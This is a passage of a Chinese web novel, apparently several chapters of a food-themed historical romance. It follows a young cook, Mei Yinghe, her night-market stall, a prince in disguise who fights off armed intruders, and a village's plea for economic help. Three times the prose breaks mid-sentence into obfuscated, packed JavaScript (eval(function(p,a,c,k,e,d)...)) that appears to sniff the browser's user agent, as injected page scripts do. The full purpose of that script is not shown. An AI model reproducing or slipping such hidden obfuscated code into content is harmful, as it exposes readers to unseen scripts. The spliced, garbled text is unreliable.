梅映禾:…… 小梅:…… 大家都围过来看着他和他手里的东西,待人走近,赵行之才将东西递给梅映禾,“外头有一家卖甜酿的,你先吃些补充□□力。” 原来是给她买的甜酿,所谓甜酿便是酒酿,也被称为醪糟。是由糯米蒸熟的米饭和酒药拌匀发酵而成,很是补身增强体力。 梅映禾如释重负,“谢七哥,那个……” 她还想再问薛展如何了,就听赵行之道,“无事,放心。” 他不再多说,外头排队的食客也在催促,梅映禾只得匆匆吃两口接着忙碌起来,一碗甜酿就放在边上,她已经学会了忙里偷闲地舀上一口放进嘴巴里,边吃边干。 身后,梅九畴拉着赵行之问轻功的事,赵行之心不在焉地看着梅小早的背影,看着她一会儿一口地将那碗甜酿吃了个精光,脸上竟流露出得意的笑。 少年人嘴角微微上扬,眉眼绽放出温柔的光,自己不曾察觉,却引得排队的一众小娘子们雀跃躁动起来。 听说来了个“夜市西施”,大家都好奇来看,却不想这“西施”身后竟还有一位貌比潘安的小郎君,虽然一身粗布衣裳却依然难掩清贵气韵,大家时不时拿眼神飘向赵行之,竟还有大胆奔放的小娘子直接去问,“小郎君年几何,可曾婚配?” 再看赵行之,憋着一张脸,目不斜视专心做手里的事,只恨今日忘记戴草帽了。 梅映禾倒是觉得自己选的这位代言人总算派上用场了,用胳膊肘捅了捅赵行之,悄声道,“七哥,小娘子问你话呢。” 赵行之不理。 “你可是咱们的代言人,品牌宣传的美誉度全靠你了。” 赵行之看了看她,“没听懂。” 梅映禾讪笑了一声,耐心开导,“七哥是男子汉,方才那样帅气洒脱,正是小娘子们心中的英雄偶像啊,七哥无需做什么,只要稍微摆几个动作,露出些表情,小娘子们都喜欢。” 不知哪一句触动了他,赵行之手中一顿,“小娘子们都喜欢?” “嗯,小娘子都喜欢。”梅映禾点头如捣蒜。 赵行之眨了眨眼,仍旧没说话。 从表情看似有松动,梅映禾趁热打铁,“我教你几招,比如……” 她悄悄比画着,“看我脸,嘴角歪一歪,邪魅一笑,这样,眼神要漫不经心,对,就是这样。” 她十分认真地教学,赵行之不由自主地跟着她做起了同样的表情。 要不怎么说,这脸不一样,做出来的效果也不一样呢。 那种表情放在赵行之那张帅脸上,啧啧,简直迷死人。 无师自通,很好,梅映禾继续,“还有这样,目光紧紧盯着小娘子的眼睛,眼神深情一些,专注一些,看着她的眼睛,往深里看,眼睛的最深处,对对对,就是这样。” 这不是某影帝的专属眼神吗,看电线杆子都很深情,没想到赵行之一学就会。 “可以了,先用这两招够用了。”梅映禾沾沾自喜,继续忙碌。 在她没瞧见的地方,一双深情的眼睛正盯着她,赵行之的脸红到了耳朵根儿。 然,今日的热闹实在太盛,赵行之想藏的终究还是藏不住了。 18. 香香甜甜的东坡肉 夜市开张大获成功,四人收入可谓可观。 烛灯下,梅映禾将所有的铜钱倒在桌子上,四人围坐一枚一枚数钱。 这种感觉,可真是太好了。 “一共四百一十二文。”梅映禾宣布。 “我的卤鸡子沾光也卖了八十文呢。”小梅很激动。 梅九畴抚掌,“开门红,不错不错。” “相当于好几日早食的收入呢。” “这还不算咱们送出去的赠品,价格也比平时低。” “哎,价格涨上去了人自然不会像今日这样多。” “那不一定,小早定会增加新的吃食的。” …… 梅九畴和小梅两个在热烈地讨论,憧憬着未来真是高兴,只有一个人例外。 赵行之默默坐在一旁回想一下方才那一幕,总觉得好像哪里不对,有一种被梅小早带歪了的感觉,他堂堂一个王爷怎么就成了“夜市潘安”了呢,还有那些乱七八糟的表情,想想那些小娘子的尖叫和惊呼,甚至还有人对他拉拉扯扯动手动脚…… 想到这里,赵行之竟然打了个冷战,是不是上了这丫头的当了? “这是小梅姐的,这是七哥的。”梅映禾还在分酬劳,除了他们兄妹以外,小梅和七哥毕竟不是自家人,忙活了好一阵子,该给的酬劳不能少。 “七哥。”梅映禾笑嘻嘻地抬头,“这是你的……” 不对,眼神不对。 “怎,怎么了,七哥?”梅映禾声音有些发虚。 “你看着我。”赵行之坐在她对面,声音冷肃道,“好看吗?” “啊。”梅映禾心想,完了,他这是反应过来了,“好,好看啊。” 哗啦一声,梅映禾把铜子都推给梅九畴,“哥哥,那什么,你接着分吧,我去给大家做点儿好吃的。” 说完,人拔腿就走,直奔灶房。 这样一副做贼心虚的模样,让赵行之彻底明白了,自己就是被梅小早戏耍了。 “我去帮你。”他也站起身,紧随她脚步而去,“七哥来了。” “不用,七哥。”梅映禾加快脚步,已经跑起来了,“我自己……” “没事,七哥帮你烧火,烧得旺旺的。” “七哥,我错了……” “你错哪了……” 二人的声音在院子里响起,大概是打作一团了吧,旁边还有小九汪汪叫着,摇着尾巴忙前忙后地着急也不知道该怎么帮忙。 屋子里,烛灯幢幢。 “他们,怎么了?”梅九畴纳闷。 “不知道,听不懂。”小梅也不明白。“ “嗨,他俩整日打打闹闹,不管他们。”梅九畴将铜子数好,连同自己的那一份都给了小梅,“我的,你也拿去。” 七尺高的壮汉,一张脸红成了柿饼子。 “九哥,这太多了,这是你的。”小梅推辞,二人的手撞在一起。 “是我的,放你那里,保管。”梅九畴说完盯着小梅,下面的话再说不出口了。 小梅惊喜,这还有什么不明白的,“九哥,你是说,让我帮你保管吗,可是,我又不是你的媳妇。” 小梅伸出手去没有接铜子,羞涩地低着头,鼓起勇气倒是一把拉住了梅九畴的手,那双手粗大有力,布满了老茧,可是她喜欢。 “那,那说不定……” “说不定什么……” 二人越贴越近,小梅含情脉脉地凑上去追问,“九哥,我……” “哥哥救命。” 倏然,半掩的门被撞开,梅小早手里拿着一根烧火棍闯进来,一下子撞开二人,铜子撒了一地。 “哥哥,快拦住七哥。” 梅映禾躲在梅九畴身后,赵行之手里也拎着一根烧火棍追了进来。 “梅小早,你出来。” “我不,谁叫七哥长得好看,好看就是让人看的,我没错。” “你给我出来。” “就不。” …… 梅九畴红着脸看看小梅,小梅也红着脸看看梅九畴,刚刚燃起了火捻就这样生生被掐断了。 那两个掐断人家火捻的人从屋里闹到院子里,又从院子里闹到灶房,又从灶房闹到鸡窝,惹得熟睡的母鸡们咯咯咯地拍着翅膀到处躲藏,再加上小九的汪汪汪助阵,可真是名副其实的鸡飞狗跳了。 直到两个人都跑不动,扔了烧火棍躺在地上直喘粗气,满院子的鸡毛,凳子柴火被打的到处都是,梅映禾被赵行之俺坐在地上动弹不得,这才算消停下来。 “七哥,我错了,我道歉。” “怎么道歉。” “不是给你酬劳了吗,要不我多给你一些。” “不要,爷不缺银子。” “那……” 梅映禾愁眉苦脸,“我也没有别的了。” 赵行之坐起来看着她,头发揉得乱七八糟,一张哭丧的脸,看来是真的认错了,这才起身,拍了拍衣裳,道:“哥饿了。” 哦,这好办,梅映禾笑嘻嘻道,“这个还真有,东坡肉,我一早就腌好了。” 说完,一骨碌爬起来直奔灶房,“等着哈,香掉眉毛。” 赵行之:…… 下意识摸了摸自己的浓眉,这要是掉了是不是就不好看了。 梅映禾卷起袖子洗了手,在灶房里冷静下来,这才长出了一口气开始烧火,偷偷看了一眼院子里,没人,梅映禾自言自语:“这么好看的一张脸浪费了多可惜,作为活招牌吸引人气才不枉费那样的好颜色,这叫物尽其用……” “梅小早,你说什么。” 冷厉的声音倏然传来,梅映禾抬头一看,赵行之站在眼前。 怎么阴魂不散的,梅映禾一下子就觉得脸上发热,磕磕巴巴道,“七哥,我在说,这个菜,物尽其用。” 赵行之逼视着她看了半晌,直看得梅映禾心如擂鼓,眼神躲闪也不敢跟他对视。 “来……”他才慢吞吞地走到她身边,两只手捧着她的两肩一下子就将人捧了起来,放到一边,自己却坐到了她的小凳子上,“七哥帮你烧火。” “啊,不用。” “嗯?”赵行之凌厉的眼神再次看向她,梅映禾赶紧改口,“我是怕七哥太累了,那就,谢谢七哥了。” 说完赶紧忙让开位置,自己转身忙着淘米、洗肉、切肉,一顿操作猛如虎,材料倒是准备得极快。 “什么是东坡肉?” 一个声音传来,梅映禾这才发现原来赵行之一直在注视着她的动作。 “一个大文豪,书法家,画家,治水名人,哦,还应该是个美食家,叫苏轼,他在徐州任知州时组织百姓修筑堤坝,建桥治水,受到百姓的爱戴,过年时,百姓们都抬着酒肉来看他,然后这位吃货大人让家人把肉切成方块,烧得红酥,然后回赠给百姓,得名‘回赠肉’,这是东坡肉的前身,后来他又到杭州任职,因疏浚西湖有功,百姓送猪肉感谢,苏轼将肉烧成回赠肉分给了民工们,因为他号东坡居士,由此得名。”梅映禾娓娓道来,无不得意道,“苏东坡可是我崇拜的偶像呢。” “哦,因为他爱吃?”赵行之问。 “一半一半。”梅映禾说,“因为他无数次被贬都能自得其乐,所到之处无论条件多么艰苦,他总能找到当地的美食,苦中作乐却将其乐发挥到极致,是个十分豁达、通透之人。” 赵行之点头,觉得这号人物倒是有些许大人的风骨,想来应当也是个可敬可叹之人。 “那后来呢。”赵行之问。 梅映禾一愣,“什么后来,后来就是……” 她想了想,看了一眼锅里已经烧得汤汁浓稠,肉块表面也已经红亮、油润了,笑道,“名垂千古咯,七哥快闻闻,香不香。” 锅盖掀开,浓郁的香气扑鼻,香甜醇厚,惹人垂涎。 那一刻,赵行之的眼神都亮了。 梅映禾洋洋得意,用筷箸小心翼翼地轻轻夹起一块肉,掐掉一块连皮带肉有肥有瘦地递到赵行之嘴边,“小早郑重向七哥赔罪,请七哥先尝为敬。” 方方大大的肉块赫然眼前,色泽红亮,颤颤巍巍,赵行之还是第一次吃这样大又细腻的肉块,更是第一次被小娘子喂到嘴边,一时竟考虑起形象,不知该如何下口了。 “快吃啊,不然我要夹不住了。”梅映禾催促,满眼期待。 若是往日,这样的肉块伸到脸前,恐怕赵行之早就作呕了,可今日不知是累的还是怎么了,竟十分嘴馋,索性一张口将整块肉吞进去,软糯弹牙、肥而不腻,肉块炖得酥烂入味,肥瘦相宜、咸甜适中,简直人间美味。 “如何?”梅映禾瞪大眼睛期待他的评价。 “既有瘦肉的酥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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车轮辘辘远去,赵行之学着梅映禾的样子,打水烧水,然后小心地将热水吹凉端到梅映禾床边,“小早,起来喝点儿水。” 梅映禾不理,看上去好像睡得很沉。 浅淡的金色照到她脸上,眉清目秀,肤如凝脂,看得赵行之不由得心脏咚咚猛跳了几下。 再唤她几声,仍旧无应答,赵行之将手背放到她额上,好烫,再看那一张小脸,竟烧得红扑扑的。 这样下去可不行,赵行之起身想走,回头再看看睡得昏迷无觉的梅映禾,很不放心。最后决定还是先让她喝些水下去,自己再去请大夫。 赵行之虽没有伺候人的经验,可是常年战场厮杀,照顾伤员的经验还是很丰富的,于是拿来小木勺,将梅映禾扶起靠在自己的怀里,滚烫柔软的身躯顿时让他的动作有些僵硬。 怎么会有人这么软。 一个人喂水很讲究技巧,赵行之扶起梅映禾的小脸靠在自己的臂弯里,微微捏住两腮,略张开的嘴巴刚好能灌下小木勺里的水,就这样,一勺下去,一滴没撒。 还没来得及沾沾自喜,怀里的人就反应过来了,十分不情愿,扭着身子嘴巴里哼哼唧唧,蹭着他就想睡下。 “早儿,喝水。” “嗯~不” “早儿,听话,喝点儿水再睡。” “嗯~啊~” 再哄下去恐怕她就要耍赖闹起来了。 眼看着她迷迷糊糊就想找枕头睡下,这水才刚喝了一勺,赵行之急中生智,提高声音道,“梅映禾,你喝一口水,七哥给你一文钱。” 怀里蠕动的软软的身体僵了一下,梅映禾睁开朦胧的眼睛,虽然眼神涣散得厉害,可还是哑着嗓子问,“真的。” “真的。”赵行之斩钉截铁。 接下来的一幕简直让赵行之震惊了,梅映禾强撑着坐直身体,从他手里接过水和勺喝起来: “一文,两文,三文……” 一边喝一边数,直到数到了五十文,一大碗水让她自己喝了个精光。 “五十文,哈哈……”梅映禾一头栽到被子里,睡着了。 她贪财贪的可真是毫不遮掩,赵行之想,总算有法子降得住这丫头了。 隔壁李婶儿和奎叔也一大早就出门了,左邻右舍没什么人,赵行之虽不放心却也觉得无碍,自己快去快回,索性从王府里抓个大夫再给她带些好药过来,要比去医馆请人便捷得多。 大约半个时辰之后,赵行之带着府医和药材回来,刚到院门口就见院门大开,上头还有一个硕大的脚印,屋内房门的锁也被砍断,屋子里黑黢黢的看不清楚。 “小早。” 那一刻,赵行之听到了自己变了形的声音。 19. 羊肉汤面 院子里一片残破,地上、墙上还有喷洒的斑斑血迹,浓重的血腥味直冲鼻息,枯枝败叶、木屑碎石随处可见。 就连小九也不见了踪迹。 那一刻,赵行之觉得自己气血上涌,头脑发懵,从未有过的茫然失措闪过脑海,颤抖着的双手抽出腰间的三寸断刀直直冲进屋内。 然,眼前的景象让他呆住了。 六七个村汉装扮的男子斜衣倒袋地在屋里或坐或站,他们平日吃饭的方桌上铺洒了许多铜子。 梅映禾战战兢兢地抱着一个篮子在一旁瑟瑟发抖,看到他进来的那一刻,声音都快哭出来了: “七哥。” 几名村汉对视了一眼,其中一人伸出长刀拦在了梅映禾身前,“来帮手了。” 声音粗犷戏谑,带着三分不屑。 “他们,他们要银子。”梅映禾眼泪吧嗒,一张小脸哭得更红了,“这是咱家所有的银子了,统共就一百文,我都拿出来了,可,可他们不信。” 那一刻,赵行之简直想蒯头。 这个梅小早还真是要钱不要命,这样性命危急的时刻,若是他没有赶到怎么办,她竟然还敢骗人。 梅小早的银子都被藏到了院子里那棵老槐树下了,屋子里吊了个个竹篮子,只放了一百多文,供平日花销用的。 赵行之倒是一点都不担心这几个村汉,只是为梅映禾刀架脖子的守财觉得震撼,这丫头还真是人为财死啊。 “少废话。”另一名村汉吼道,“昨天夜市赚得就不止这些吧,你当咱们是傻子不成。” “大哥,那些不全是我们一家的,您看……” “看什么看。”赵行之打断了梅映禾的话,“跟他们废什么话,门外的血是怎么回事。” “哦,那是猪血,我方才喝水喝多了,迷迷糊糊路过灶房看到了猪血被太阳晒着了,想着收起来,就被这帮……”梅映禾顿了一下,“被几位大哥不小心弄撒了。” 哦,听明白了,赵行之确定梅映禾无事,这便好办了。 那村汉还想再说话,却不想眼前一闪而过,一条灰色的身影如鬼魅般已经站在眼前,更可怕的是,短刀压在脖颈上,薄刃逼得皮肉生疼。 只是一眨眼的工夫,这人就已经扭转了局面,如此快的速度他究竟是怎么做到的。 怔愣错愕之间,其他几名村汉也都已经反应过来,拉开架势准备应战,其中一人脚步移动一把扣住梅映禾的脖颈,将人倒揽在怀里,倒退几步,“别乱来,一命抵一命。” 梅映禾被这猝不及防的粗鲁动作撞到了脑袋,只觉得脑子里的豆腐松散地晃动了一下,头痛欲裂,血液上涌,一张脸顿时涨得通红,忍不住眼泪吧嗒吧嗒地掉下来。 赵行之原本只想教训这几人两下,可现在那人竟钳制住了梅映禾,以命威胁,还用粗壮的胳膊肘压得她咳喘不止,憋红的小脸露出那样痛苦的表情,气得赵行之咬碎了后槽牙,仿佛自己的心被人狠狠捏了一把。 简直作死,赵行之不留余地,飞身上前,几个回旋踢,身影所到之处几人无声倒地,只留最后那钳制梅映禾的一人近在眼前。 这一切发生得太快了,只一瞬的工夫,所有人都无声息地倒地了,那最后一名村汉怔住了,他甚至都没有看清楚他是怎么过来的,同伴就已经死了。 “进来。”赵行之的一只手已经捂住了梅映禾的双眼,一边吩咐门外跟着进来的几名家丁和府医,“带小娘子去车上诊脉,留一个……” 他做了一个“活口”的口型却未出声,接着道,“其他的即刻收拾干净。” “七哥。”梅映禾被捂住了双眼,喊出来的这一声十分不安。 “小早,那位是我请来的大夫,你先去车上等我。”赵行之的声音很温柔,全然没有了方才杀人的狠厉,“七哥收拾好就来。” “那个。”梅映禾被拉着出门,还不忘嘱咐,“七哥,我的铜子,你记得收好,一共一百二十三文,数一数别少了。” 赵行之:…… 这个丫头可真是钻到钱眼里了。 经过这么一吓,梅映禾出了一身的冷汗,烧也退了,人也精神多了。 大夫诊过脉,留下了几副药便走了。 屋子里也已经收拾妥当,一切归位,就好像什么都没有发生过一样。 赵行之扶着依旧虚弱的梅映禾躺回到床上,小娘子怀里紧紧抱着那个竹篮子,笑得十分开心,“好在银子一分都没少,真是有惊无险。” 赵行之瞥了她一眼没说话,将熬好的汤药端给她,“吃药。” 因为没什么损失,后面发生了什么梅映禾也没看到,所以好心情丝毫不受影响,还在帮他分析,“这些人根本就不是我们村里的人,那样生的面孔,我一看就知道。” 赵行之点头不语。 “七哥怎么处置他们,送去衙门了吗?” 赵行之嗯了一声。 梅映禾也点点头,“一定是昨日看到我们赚银子了,这才想来劫财。” 赵行之一边分拨府医带来的蜜饯果子,一边听着她的分析,心想,那些人虽然穿着村人的衣裳却绝不是村子里的人,她说得倒也不错,只不过那些人并非冲着银子而来,从他们的武器和身手来看,是冲着他来的。 昨日的夜市潘安还是太招摇了,赵行之摇头,恐怕…… “七哥,七哥。” 在梅映禾的连声呼唤下,赵行之才回过神来。 “我饿了。” 梅映禾开口,揉了揉肚子,“七哥也饿了吧,我去煮点面给……” “你坐着别动,今日我来煮。” 赵行之将煎好的药递给她,“你先把药吃了,想吃什么,七哥去做。” 眉目含笑,声音轻柔,头顶是暖融融的日光,梅映禾觉得这一刻自己好像太幸福了。 “真的吗,那七哥会做什么。”她问。 赵行之一愣,眨了眨眼,闷哼一声,“你,可以教我。” 哦,那就是什么都不会了。 梅映禾点头,“家里有现成的羊肉,就做羊肉汤面吧,暖烘烘地吃一碗发发汗。” “好。”赵行之满口答应,随即叮嘱她,“快些喝药。” “七哥,我跟你说…….” “梅小早。”赵行之总算看出了她的推脱,“说再多的话,药也一口都不能少。” “啊。”梅小早苦着脸,眼睛里即刻蓄满了泪水,眼看就要滴落。 这即刻落泪的功夫是真的厉害,赵行之无奈,举着一颗蜜饯道,“吃完药,这里的蜜饯果子都是你的。” “真的吗。”梅映禾这才看到满满一小碗的蜜饯果子,各种颜色,看着就好吃,“这是七哥买的吗,七哥怎么知道我怕苦。” “大夫带来的。”赵行之答道,又将滚烫的药碗吹了吹。 “这样的大夫可真好。”梅映禾嘴巴里含着方才那一颗蜜饯,“一定是这位大夫的病人都怕苦,所以大夫习惯了,卖药送蜜饯,你别说,还真是会做生意。” 赵行之的动作顿住了,倒不是因为她句句不离做生意,而是那一句“大夫的病人怕苦”。 这话还真是让他说着了,晋王殿下因为被人看透了自己的小秘密而羞涩脸红起来。 他这些小心思梅映禾自然不知,因为一碗蜜饯果子痛痛快快地喝完了药,披着被子坐在床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这话赵行之很是受用,问道,“你这般不藏私,早食也教,煮菜做饭什么都教,就不怕旁人都学了去,抢你生意。” 他观察梅映禾有一阵子了,发现不论谁问她什么,她都毫无保留地和盘托出,就连夜市上有人问红油抄手的做法她都丝毫不吝啬,教给那人,还让人家回家试试,不对味再来找她。 “这有什么,天下美食这么多,我一个人做是做不过来的,大家都会,全天下的人才有口福。”梅映禾不以为然,“我巴不得大家都能做出更好吃的东西,在我的技艺上头锦上添花,这样咱们才能更有口福,人生短短几十年,何必计较什么你的我的,吃到肚子里的才是自己的。” 生不带来死不带走,人生在世,只有吃到肚子里的才是自己的。 这话就像这碗羊肉汤面,还真是越咂摸越有味。 见梅映禾的碗里空了,赵行之问,“还要吗,还有。” 梅映禾抹了抹嘴,笑道,“那就麻烦小郎君帮本姑娘一次咯。” 她学着戏文里调侃的模样,赵行之也一瞬间来了灵感,比手应道,“能为小娘子效劳,是在下的福气,只要能把小娘子伺候得舒舒服服的,还请小娘子对在下好些呢。” “那是自然,自然,只要你乖顺……” 二人正玩得不亦乐乎,倏然,门被人一把大力推开,一张面如菜色的脸出现眼前,身形瘦削,在肥大的衣袍里晃荡,险些以头抢地尔。 那人举着一根手指颤抖着指着梅映禾: “小早,你,你,你……竟如此厚颜无耻。” 20. 梅花村的困局 秀才铁青着一张白脸,站在门口,颤抖地质问,“光天化日之下,实在有辱斯文。你们……” “小心闪着舌头。”秀才话音刚落,赵行之已经逼近眼前。 高大壮硕的身形压迫而来,眼中带着肃杀之气。他这样直直逼视人的时候,那人就感觉好像头悬利剑,下一刻就能被削掉了脑袋。再加上还有小九在一旁狂吠助阵,秀才险些夺门而逃。 这一次梅映禾并没有制止赵行之,只是轻轻看了他一眼,赵行之即刻明白她是想让他轻一些。 一瞬间的顿悟,让他觉得自己和梅小早之间已经有了旁人看不懂的默契。心情莫名地愉悦起来,赵行之这才得意地抱臂站在一旁。 秀才白着一张脸,被压得憋气又不敢大喘,一时靠在门框上直捶自己的胸口,咳嗽不止。 “我今日病了,七哥留下来照顾我,还给我做了羊肉面,我们正在吃面。”梅映禾很平静,没有了往日的热情,带着几分疏离,“我们方才正在调侃戏文里的唱词,怕是秀才哥误会了。” 听闻此言,再看看小早不冷不热不紧不慢的态度,秀才赶忙道歉,“那,那是我误会了,没有,没有看清楚。” 他很着急,忙解释,“这叫关心则乱吧。” 梅映禾没有应,抱起小九反问他,“秀才哥今日来找我何事?” “小早,我……“秀才看看梅映禾,又看看一旁虎视眈眈的赵行之,垂头不语。 “七哥不是外人,秀才哥有什么话就直说吧,他若是出去了,你我孤男寡女要落人口舌了。” 梅映禾淡淡道。 秀才无奈,这才想了想开口道: “小早,上次我娘过来闹你的事,我是后来才听说的,对,对不起。” 他低着头,一双手在长衫上来回地搓,脸色瞬间变得通红,“她是一片苦心为了我,我今日来是替她向你道歉的,希望你看在她是我娘的份儿上,不要生气。” 梅映禾不语,用眼神示意他继续。 看她没有反应,秀才只能继续,“我已经同我娘把话说清楚了,小早,我们从小一起长大,本就该在一起,我将来必能高中,能让你过上好日子,再不用抛头露面也不用下厨劳累,你等等我,等我考中进士,就来你家提亲。” 且不说考上进士要多少年,梅映禾压根就没想过要跟秀才在一起。原先只觉得是秀才娘太过紧张,可是上次那样一闹,梅映禾倒是有些反感了。再这样纵容她下去,对自己名声不好,对秀才也不好,所以,当断则断。 “秀才哥的这个想法,阿婶知道吗?”梅映禾问。 “我还没跟我娘说,但是她疼我,只要我坚持,她一定不会反对的。”秀才十分自信,“小早,我希望你跟我一起,能用实际行动说服我娘,她是我唯一的亲人,从小到大养我不容易,你就算为了我,多包容她,多孝敬她,多……” “秀才哥。”梅映禾实在听不下去,打断了他,“你说的这些与我无关。” 秀才怔愣,一脸很难理解的惊讶,“这是我们的事,怎会与你无关。” “我们从小到一起长大,我对你只有邻居、兄长和同乡的情分,没有其他。” 梅映禾坚定地看着他,秀才张了张嘴,艰难道:“可是我们一直很好,你难道不想嫁给我……” “不想。” “不可能。”秀才不信,“是不是因为我娘,你才这样说。” “你是听不懂人话吗。”赵行之又一次逼近,“非要……” “七哥。”梅映禾制止他,拉近了与秀才的距离,“你娘说的没错,我们两个不是同路人,你日后走科举入仕,而我,只想做我喜欢的事,下厨做饭是我的强项,我会一直做下去,抛头露面也是我喜欢的事,我不会放弃。” 她声音温柔,眼神坚定,丝毫没有任何勉强,想来应当是肺腑之言。 “可是小早……”秀才疑惑了。 梅映禾起身,给秀才倒了一杯茶送到他手上,“没有什么可是,我们本就不同,各有各的路,日后还是好邻居好同乡。你也应当将心思放在学业上,早日出头,也好让阿婶轻松些。试想,若是将来你中榜,仕途顺遂平步青云,必然要夫人陪伴左右官场应付,我这样的出身、经历,且不说帮不到你,恐怕还会成为你的掣肘和负担,你当真愿意吗。” 梅映禾故意把话说得透彻明白,剩下的交给他自己权衡吧。 再看看秀才的反应,一张脸顿时红了起来,态度也不似方才那样坚定,手里搓着衣角,表情尴尬不已。 这便是了,梅映禾心下了然,不再多言。 赵行之看得无比痛快,是那种说不出的爽让他浑身上下都舒坦。 眼看着秀才仍旧心有不甘,还想再纠缠,赵行之刚想开口,身后一个苍老的声音打断了屋内的气氛,“秀才啊,小早的话没错,你们各有各的路,小早也不是你需要的那种媳妇,你还是回去好好读书吧。” 老村长来了。 “恕老头儿我不请自来,看见门没关就进来了。” 梅映禾赶紧请村长入座,村长点着秀才道,“别怪我说话直,你呀,糊涂。快些回家去吧,劝着点儿你娘,别再来给小早添麻烦。” 有村长发话,小早的拒绝,还有赵行之和小九的虎视眈眈,秀才只得告辞离去,梅映禾送他出去,临分别时,秀才道:“小早,怪我唐突,你,别往心里去。” 梅映禾笑着点了点头,目送他离开。 重新回到屋子里,赵行之已经给村长倒了水,小九也乖巧地趴在村长脚边,这俩一副乖巧温顺的样子,实在是有些看人下面条了。 “早啊,村长今日来是有求于你。”老村长开门见山。 老人家如今已年近古稀,祖辈世代都是梅花村的人,做村长也已经三十多年了,对这个村子里的每一个人甚至每一只狗都了如指掌,更是为了梅花村操碎了心。 无奈,天不遂人愿。即便是他再努力,有些事情也是奈何不得。 “我也是受大伙儿之托啊,你们兄妹虽说身上背着罪名和债务,可是毕竟迈出了这一步,如今也是做得风生水起。”老村长摇了摇头,“可是梅花村还有三百多口子人,老弱病幼就罢了,这些年轻力壮的也被拘在村子里,整日无所事事,家里的日子快过不下去了。” 老村长一脸悲伤,“家家户户都养猪养鸡鸭,有的种菜种粮食,闲来无事倒是打理得极好,可是眼看着今年又要砸在手里,这卖不出去就换不来银子,这日子再这样下去,恐怕……” 恐怕就要出人命了,老村长没讲出口的话,梅映禾想到了。 “听说京城的有钱人多,买卖好做,可是咱们都出不得村子,这可如何是好。”老村长眼中含泪,“今日来找你,是想请你想想办法,你们兄妹也算是跟京城打过交道见多识广了,可有什么法子能帮大伙儿一把,他们一定感激不尽。” 梅映禾连忙摆手,“感激不敢当,我们兄妹这些年也是吃过百家饭长大的,若不是乡亲们帮衬,我们俩恐怕早就饿死了,这个忙我们义不容辞,村长您容我些时间,让我好好想想。” “那可太好了。”老村长听她二话不说就应了,十分欣喜,“他们家家户户都有菜有肉有家禽,你可以去看看,都长得喜人,若是他们知道你愿意帮忙想办法,一定高兴坏了。你放心,若是有什么问题,只管交给我老头替你顶着。” 送走了老村长,梅映禾当即就开始行动。做事之前先调研,这是师父交给她的第一堂课。赵行之本不许她劳累走动,却看她坚决,只得跟着一起,小九自然也摇着尾巴成了小跟班。 全村不足百户,梅映禾一家一家地走访,十分认真地察看,询问种植或者养殖的情况、产量等,还一一做了记录。 赵行之并不知道她心中的打算,只默默跟着,看着她沉稳有序地做着,认真且有章法,好似心中已经有了打算。 还有小九,跟在梅映禾身边履行自己的职责,遇到对方家里有狗有猫有鸡鸭的,还不忘摇摇尾巴十分友好地上去闻一闻打个招呼,昂首挺胸、自信满满的样子简直骄傲坏了呢。 当日晚上梅映禾心里就大致有了想法。 其实这些日子以来她一直都有在观察和留意,梅花村是她的家乡,正如她跟村长所说,兄妹两个成了孤儿之后,全靠着村人一家一口饭一家件衣的接济,这才度过了最困难的那两年。现在她找到了赚钱的路子,心里最惦记的也是曾经帮助过她的老乡们。 烛灯下,小娘子面容整肃,十分认真地在纸上写写画画。小九忙活了一整日,跑遍了整个村子,这会儿累得趴在她脚边睡着了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那是小早教得好。”小梅笑道,“你们在说什么。” 梅映禾把村长的请求同二人说了一遍,然后又将自己下午看到的和方才想到的也说了一遍,“所以,这事我得做个详细的方案。” “早儿,老村长都解决不了的问题,你有把握能做好吗。”梅九畴担心,“这万一……” “没有万一,就相信早儿。”小梅将梅映禾护在怀里,一脸骄傲,“说不定咱们早儿日后还能当上梅花村的第一个女村长呢。” “铁粉啊,小梅姐。”梅映禾也紧紧抱住小梅,二人笑闹一团。 分明还是一个小丫头,看见苦药吓得掉金豆子的小娘子,竟然敢接这么大的事,而且还做得信心满满,赵行之心里充满了好奇。 看着自家哥哥一脸不放心,梅映禾笑问,“哥,你不是说喜欢京城吗,将来咱们去京城开自己的铺子好不好。” 这一晚,梅九畴失眠了,做着进京开铺子当上大老板穿上绸缎衣裳的美梦,竟然都没有发现,同床异枕的赵行之大半夜都没回来。 佑安带来了最新的消息:“已经查明,刺客不是陛下的人,而且还有异域长相的,只是还未查清楚真正的幕后。” 这个消息已经让赵行之放下了心,朝堂之上盼着他死的不在少数,是谁倒是没那么重要了,只要不是他的皇兄,他就已经满足了。 心情豁然开朗,赵行之问起了梅映禾梅九畴兄妹的身世。 好在佑安也带来了消息:“梅九畴和梅映禾可以确定不是亲兄妹,梅九畴是梅家的孩子,这个已经找到了当年接生的稳婆,但是梅映禾小娘子……” 佑安说:“还在查。” 赵行之点头,心里头隐隐有了一些计较。 看着主子出神不再多问,佑安这才吞吞吐吐说:“上回早食派去的兵士挤走了骚扰梅娘子的穷酸秀才,不知夜市,还需不需要他们再去……” 不提也罢,提了赵行之直叹气,“她的食客粉丝太多,你别去找人碍事了,添乱。” 佑安:…… 这不是王爷的吩咐吗,怎么成他添乱了。 见他心情颇好,迈着轻快的步伐往回走,佑安提醒:“王爷,陛下说,想见您。有人在夜市上见到了王爷,陛下这才……” 眼前,梅家小院融在夜幕里,沉睡、安静,里头的兄妹两个这个时辰恐怕早就睡熟了。 赵行之顿住了脚步,踌躇半晌才吁了一口气,“真的要走了。” 21. 还钱 秋雨绵绵,淅淅沥沥,下起来不紧不慢却也没完没了。 赵行之望着天边压下来的阴云,想起这样的天气里皇兄的颈椎怕是又要犯病了,再看一眼正在伏案整理思路的小娘子,眉头紧锁煞有介事,看上去十分认真。下雨日梅映禾都不出摊,想来今日无事,便回了王府。 赵行之在京城有两座府邸。 